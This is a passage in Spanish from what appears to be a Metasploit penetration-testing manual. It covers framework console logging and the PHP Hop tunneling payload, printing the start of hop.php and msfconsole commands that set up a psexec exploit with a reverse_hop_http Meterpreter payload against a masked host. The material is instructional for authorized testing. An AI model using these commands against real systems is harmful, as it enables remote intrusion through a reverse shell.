Consejos y trucos

Guardar las trazas

Aunque la realización de pruebas de penetración es una profesión en sí misma y por eso los consultores se deben formar durante años, para realizar estas tareas en las mejores condiciones (incluida la minimización de riesgos para el cliente), sigue siendo utópico creer que existe el riesgo cero. De hecho, se pueden producir efectos secundarios dentro de sistemas complejos, incluso después de tomar todas las precauciones posibles e imaginables.

Para realizar un seguimiento de todas las acciones realizadas sin que sea necesario hacer una copia de seguridad de toda la consola para identificar el comando que se ha utilizado dos días antes, el Framework Metasploit proporciona un sistema de gestión de logs o registros de actividad.

El comando show options que se ha visto en el capítulo Primeros pasos con Metasploit, proporciona todos los detalles sobre un módulo en particular.

Sin embargo, también es posible ejecutar este comando fuera de un módulo para mostrar las opciones específicas del framework:

msf6 > show options    
Global Options:   
  
===============   
Option            Setting    Description   
------            -------    -----------   
  
ConsoleLogging    false    ...

PHP Hop

PHP Hop es una payload que permite transmitir todas las comunicaciones a través de una conexión HTTP o HTTPS (un hop point).

Para ejecutar esto, es necesario depositar el código PHP que permite realizar el tunneling dentro de un servidor web accesible y autorizar la ejecución de PHP. El código PHP se encuentra dentro del framework Metasploit, en el archivo /usr/share/metasploit-framework/data/php/hop.php:

root@kali:~# head /usr/share/metasploit-framework/data/php/hop.php 
<?php   
$magic = 'TzGq';   
$tempdir = sys_get_temp_dir() . "/hop" . $magic;   
if(!is_dir($tempdir)){   
   mkdir($tempdir); //make sure it's there   
}   
  
//get url   
$url = $_SERVER["QUERY_STRING"];   
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr 

Una vez establecido el código PHP, algunos módulos permiten utilizar payloads de tipo reverse_hop_http, como psexec, por ejemplo:

msf6 > use exploit/windows/smb/psexec   
  
msf6 exploit(windows/smb/psexec) > set PAYLOAD   
windows/meterpreter/reverse_hop_http  
PAYLOAD => windows/meterpreter/reverse_hop_http  
  
msf6 exploit(windows/smb/psexec) > set RHOSTS XX.XX.45.235   
RHOSTS => XX.XX.45.235  
  
msf6 exploit(windows/smb/psexec) >...